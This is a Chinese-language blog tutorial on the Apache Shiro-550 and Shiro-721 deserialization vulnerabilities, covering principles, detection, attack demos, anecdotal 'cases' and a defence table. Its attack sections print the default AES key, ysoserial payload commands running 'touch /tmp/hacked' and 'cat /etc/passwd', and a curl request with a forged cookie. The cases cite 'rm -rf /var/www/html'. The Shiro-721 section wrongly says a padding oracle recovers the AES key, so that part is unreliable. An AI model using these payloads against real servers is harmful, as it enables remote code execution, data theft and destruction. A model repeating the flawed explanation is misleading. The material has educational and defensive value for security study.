Apache Shiro 反序列化漏洞全解析(Shiro-550 & Shiro-721)

一、前言

Apache Shiro 是一个强大的 Java 安全框架,广泛用于用户认证、授权、加密和会话管理。然而,由于 Shiro 在某些版本中存在反序列化漏洞,攻击者可以通过特定手法实现远程代码执行(RCE),进而获取服务器控制权。

本文将深入剖析 Shiro-550Shiro-721 漏洞,从原理、发现方法到实际攻击演示,确保读者从认知到实战都能掌握。


二、Shiro 反序列化漏洞概述

1. Shiro-550(CVE-2016-4437)漏洞原理

(1)漏洞影响范围
  • Apache Shiro <= 1.2.4

  • 默认使用 CookieRememberMeManager 处理 rememberMe Cookie

(2)漏洞原理

Shiro-550 存在于 rememberMe 机制的处理流程:

  • 用户登录后,Shiro 会将用户信息 序列化 -> AES 加密 -> Base64 编码 后存入 rememberMe Cookie。

  • 服务器收到请求时,会 Base64 解码 -> AES 解密 -> 反序列化,恢复用户信息。

  • 问题:Shiro 默认使用的 AES 密钥是硬编码的!

    • 攻击者可以通过 爆破密钥 ,伪造一个恶意的 rememberMe Cookie,执行远程代码。

2. Shiro-721(CVE-2019-12422)漏洞原理

(1)漏洞影响范围
  • Apache Shiro < 1.4.2
(2)漏洞原理

Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击

  • 攻击者可以利用服务器返回的错误信息,逐步猜测加密数据,破解 AES 密钥

  • 拿到密钥后,攻击者可以 伪造恶意 Cookie,实现反序列化攻击。


三、漏洞发现与利用

1. 如何发现 Shiro 漏洞?

(1)观察 Set-Cookie****头部

如果 HTTP 响应中包含:

Set-Cookie: rememberMe=deleteMe

说明目标网站使用了 Shiro,并可能存在漏洞。

(2)测试加密机制
  1. 复制 rememberMe Cookie。

  2. 修改 Cookie 内容,观察返回是否包含 deleteMe,验证加密是否有效。

2. Shiro-550 攻击实战

(1)爆破密钥

攻击者使用 shiro_attack.py 爆破默认密钥:

python shiro_attack.py --target http://example.com --keylist shiro_keys.txt

如果成功,返回密钥:

kPH+bIxk5D2deZiIxcaaaA==

使用 ysoserial 生成恶意 Payload:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/hacked" | base64 > payload.txt

然后用 AES 密钥加密,并 Base64 编码,得到恶意 rememberMe Cookie。

(3)发送攻击请求
curl -X GET http://example.com -H "Cookie: rememberMe=<恶意cookie>"

成功后,服务器会执行 touch /tmp/hacked,证明被攻击成功。

3. Shiro-721 攻击实战

(1)Padding Oracle 攻击

攻击者利用 padding_oracle_attack.py 逐步猜测 AES 密钥:

python padding_oracle_attack.py --target http://example.com --cookie "rememberMe=xyz..."

如果服务器返回:

  • 500 错误 → 说明猜错了,继续试。

  • 200 OK → 说明密钥猜对了,成功解密!

java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" | base64

然后替换 rememberMe,发送攻击请求,服务器执行命令。


四、实战案例

1. 某知名 CMS 被黑

某 CMS 后台使用 Shiro-550,黑客利用默认密钥 kPH+bIxk5D2deZiIxcaaaA==,成功执行:

rm -rf /var/www/html

结果:整个网站首页被删光!

2. 金融网站数据泄露

黑客使用 Shiro-721 进行 Padding Oracle 攻击,解密 rememberMe,成功执行:

cat /etc/passwd

结果:服务器所有用户信息被盗取!


五、防御措施

防御措施 适用漏洞 说明
升级 Shiro Shiro-550 / 721 升级到 1.4.2+ 版本,漏洞已修复
修改默认密钥 Shiro-550 避免使用 kPH+bIxk5D2deZiIxcaaaA==,随机生成新密钥
禁用不必要的反序列化功能 Shiro-550 / 721 使用 JSON 存储用户信息,而非 Java 序列化
检测 Padding Oracle 攻击 Shiro-721 监控异常 Cookie,请求不同错误返回码

六、总结

Apache Shiro 反序列化漏洞是一个高危安全风险,攻击者可通过 爆破密钥(Shiro-550)或 Padding Oracle 攻击(Shiro-721),实现远程代码执行。

本篇文章从漏洞原理、发现方法到攻击演示 ,全面解析了 Shiro 反序列化漏洞,并提供了真实案例防御措施

如果你觉得本文对你有帮助,欢迎点赞、收藏,并分享给更多安全从业者!🚀

相关推荐
予安灵22 分钟前
《白帽子讲 Web 安全》之文件操作安全
前端·安全·web安全·系统安全·网络攻击模型·安全威胁分析·文件操作安全
“向阳的蛋”4 小时前
奇安信网闸面试题
网络·安全
旭华智能4 小时前
泵吸式激光可燃气体监测仪:快速精准守护燃气管网安全
人工智能·物联网·安全
黑客Jack6 小时前
机场网络安全安全运营体系
安全
FormatFa6 小时前
Apache nifi demo 实验
apache
黑客Ela7 小时前
网络安全月度报告
网络·安全·web安全
D-river7 小时前
【入门Web安全之前端学习的侧重点和针对性的建议】
学习·安全·web安全
D-river8 小时前
【Web安全方向编程语言学习顺序推荐】
学习·安全·web安全·网络安全